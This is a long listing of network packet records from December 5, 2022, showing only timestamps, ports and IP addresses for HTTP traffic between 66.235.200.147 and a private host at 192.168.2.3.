Dec 5, 2022 06:44:36.452955961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452966928 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452974081 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452992916 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453001022 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453010082 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453027010 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453042984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453046083 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453059912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453068018 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453078985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453097105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453099966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453114033 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453133106 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453149080 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453152895 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453166008 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453176022 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453183889 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453201056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453208923 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453218937 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453236103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453252077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453254938 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453269005 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453277111 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453285933 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453303099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453310013 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453321934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453339100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453356028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453360081 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453373909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453382015 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453392029 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453408957 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453417063 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453428030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453444958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453461885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453465939 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453479052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453490019 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453496933 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453514099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453525066 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453532934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453550100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453566074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453569889 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453583002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453594923 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453600883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453618050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453625917 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453634977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453651905 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453670025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453672886 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453687906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453695059 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453706026 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453722000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453728914 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453739882 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453758001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453773975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453778982 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453793049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453799963 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453809977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453828096 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453831911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453845978 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453862906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453879118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453882933 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453896046 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453907013 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453917027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453934908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453938961 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.453953981 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453972101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453989029 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.453994989 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454006910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454018116 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454024076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454041958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454051018 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454061985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454086065 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454102039 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454107046 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454121113 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454128981 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454138994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454155922 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454173088 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454180002 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454191923 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454200029 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454209089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454226017 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454236984 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454243898 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454262018 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454279900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454283953 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454298973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454305887 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454317093 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454334021 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454350948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454356909 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454369068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454380035 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454385996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454402924 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454412937 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454437017 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454457045 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454468966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454476118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454494953 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454502106 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454514980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454533100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454541922 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454555035 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454572916 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454576969 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454591990 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454610109 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454613924 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454629898 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454648972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454667091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454669952 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454684973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454694986 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454705000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454722881 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454730988 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454742908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454761028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454778910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454782009 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454797983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454804897 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454816103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454833984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454839945 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454852104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454869986 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454890013 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454895973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454914093 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454916000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454935074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454952955 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454969883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454973936 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.454988956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.454998970 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455007076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455027103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455033064 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455044985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455061913 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455070019 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455080032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455097914 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455105066 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455116987 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455135107 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455152035 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455154896 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455169916 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455178976 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455188990 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455214024 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455214977 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455231905 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455250025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455250025 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455270052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455287933 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455290079 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455307007 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455324888 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455343008 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455343962 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455362082 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455365896 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455380917 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455399036 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455401897 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455418110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455436945 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455454111 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455455065 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455472946 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455480099 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455495119 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455513000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455516100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455530882 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455549955 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455566883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455566883 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455585003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455590963 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455604076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455621958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455625057 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455641031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455658913 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455676079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455678940 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455693960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455703020 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455712080 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455729961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455738068 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455748081 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455765963 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455774069 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455785036 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455802917 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455810070 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455821991 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455841064 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455847025 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455858946 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455877066 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455878019 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455895901 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455914021 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455931902 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455933094 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455950975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455955982 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.455970049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455986977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.455990076 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456005096 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456022978 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456039906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456043959 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456059933 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456065893 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456079960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456096888 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456103086 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456115007 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456145048 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456161022 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456163883 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456177950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456186056 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456196070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456213951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456218004 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456232071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456249952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456267118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456269026 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456285000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456290007 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456302881 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456320047 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456336975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456338882 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456353903 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456362009 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456372023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456387997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456398964 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456409931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456428051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456444979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456445932 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456463099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456469059 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456480980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456500053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456516981 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456518888 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456535101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456541061 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456553936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456572056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456588030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456593990 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456605911 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456615925 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456623077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456640005 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456648111 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456659079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456675053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456682920 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456691980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456707954 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456716061 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456726074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456743002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456747055 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456762075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456779003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456795931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456799030 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456813097 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456823111 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456831932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456849098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456855059 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456865072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456882000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456897974 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456902981 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456916094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456924915 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456933975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456950903 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456958055 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.456968069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456984997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.456994057 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457003117 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457020044 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457026958 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.457039118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.457056999 CET	80	49704	66.235.200.147	192.168.2.3
